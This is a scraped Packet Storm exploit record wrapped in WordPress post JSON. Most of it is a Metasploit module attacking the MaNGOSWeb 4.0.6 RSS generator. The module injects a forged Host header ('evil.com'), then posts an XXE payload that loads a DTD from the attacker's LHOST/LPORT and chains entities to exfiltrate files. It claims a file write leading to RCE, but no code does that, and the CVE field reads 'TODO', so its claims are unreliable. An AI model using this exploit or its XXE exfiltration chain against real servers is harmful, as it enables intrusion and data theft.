{“lastseen”:”2026-01-27T17:15:15″,”description”:”MaNGOSWeb version 4.0.6 host header proof of concept exploit that a code injection vulnerability. It shows that it can be leveraged for more than cross site scripting and can be used to perform XML external entity injection leading to a file write that…”,”published”:”2026-01-27T00:00:00″,”modified”:”2026-01-27T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 MaNGOSWeb 4.0.6 Host Header Injection \/ XML Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:214424″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2017-6478″],”sourceData”:”=============================================================================================================================================\\n | # Title : MaNGOSWeb V4 4.0.6 Host Header Injection + XXE |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits) |\\n | # Vendor : https:\/\/github.com\/paintballrefjosh\/MaNGOSWebV4\/blob\/master\/rss.php |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/212429\/ \\u0026\\tCVE-2017-6478\\n \\n [+] Summary : This module exploits multiple vulnerabilities in MangosWeb v4 RSS generator, including Host Header Injection, XXE, and file write leading to RCE\\n \\n [+] POC : \\n \\n ##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n ##\\n \\n class MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank = ExcellentRanking\\n \\n include Msf::Exploit::Remote::HttpClient\\n \\n def initialize(info = {})\\n super(update_info(info,\\n ‘Name’ =\\u003e ‘MangosWeb v4 RSS Multiple Vulnerabilities’,\\n ‘Description’ =\\u003e %q{\\n This module exploits multiple vulnerabilities in MangosWeb v4 RSS generator,\\n including Host Header Injection, XXE, and file write leading to RCE.\\n },\\n ‘Author’ =\\u003e [ ‘indoushkq’ ],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘References’ =\\u003e [\\n [ ‘CVE’, ‘TODO’ ],\\n [ ‘URL’, ‘http:\/\/mistvale.com’ ]\\n ],\\n ‘Privileged’ =\\u003e false,\\n ‘Platform’ =\\u003e ‘php’,\\n ‘Arch’ =\\u003e ARCH_PHP,\\n ‘Targets’ =\\u003e [ [‘Automatic’, {}] ],\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘DisclosureDate’ =\\u003e ‘2024-01-01’\\n ))\\n \\n register_options([\\n OptString.new(‘TARGETURI’, [true, ‘The base path to MangosWeb’, ‘\/’]),\\n OptString.new(‘HOSTHEADER’, [false, ‘Malicious host header’, ‘evil.com’])\\n ])\\n end\\n \\n def check\\n uri = normalize_uri(target_uri.path, ‘rss.php’)\\n res = send_request_cgi({‘uri’ =\\u003e uri})\\n \\n if res \\u0026\\u0026 res.code == 200 \\u0026\\u0026 res.body.include?(‘\\u003crss’)\\n return Exploit::CheckCode::Appears\\n end\\n return Exploit::CheckCode::Safe\\n end\\n \\n def exploit\\n # Step 1: Host Header Injection to poison RSS\\n print_status(\\”Injecting malicious host header…\\”)\\n uri = normalize_uri(target_uri.path, ‘rss.php’)\\n \\n res = send_request_cgi({\\n ‘uri’ =\\u003e uri,\\n ‘headers’ =\\u003e {‘Host’ =\\u003e datastore[‘HOSTHEADER’]}\\n })\\n \\n # Step 2: XXE to read files\\n print_status(\\”Attempting XXE…\\”)\\n xxe_payload = %Q|\\u003c?xml version=\\”1.0\\”?\\u003e\\n \\u003c!DOCTYPE rss [\\n \\u003c!ENTITY % remote SYSTEM \\”http:\/\/#{datastore[‘LHOST’]}:#{datastore[‘LPORT’]}\/evil.dtd\\”\\u003e\\n %remote;\\n %param;\\n %exfil;\\n ]\\u003e|\\n \\n # Step 3: Execute payload\\n print_status(\\”Sending payload…\\”)\\n send_request_cgi({\\n ‘method’ =\\u003e ‘POST’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘index.php’),\\n ‘vars_post’ =\\u003e {\\n ‘title’ =\\u003e ‘Exploit’,\\n ‘message’ =\\u003e xxe_payload,\\n ‘posted_by’ =\\u003e Rex::Text.rand_text_alpha(10)\\n }\\n })\\n \\n handler\\n end\\n end\\n \\t\\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/214424″,”cvss”:{“score”:6.1,”severity”:”MEDIUM”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:R\/S:C\/C:L\/I:L\/A:N”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/214424\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-01-27T17:15:15″,”description”:”MaNGOSWeb version 4.0.6 host header proof of concept exploit that a code injection vulnerability. It shows that it can be leveraged for more than cross…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,31,12,21,13,53,7,11,5],"class_list":["post-37579","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-61","tag-exploit","tag-medium","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n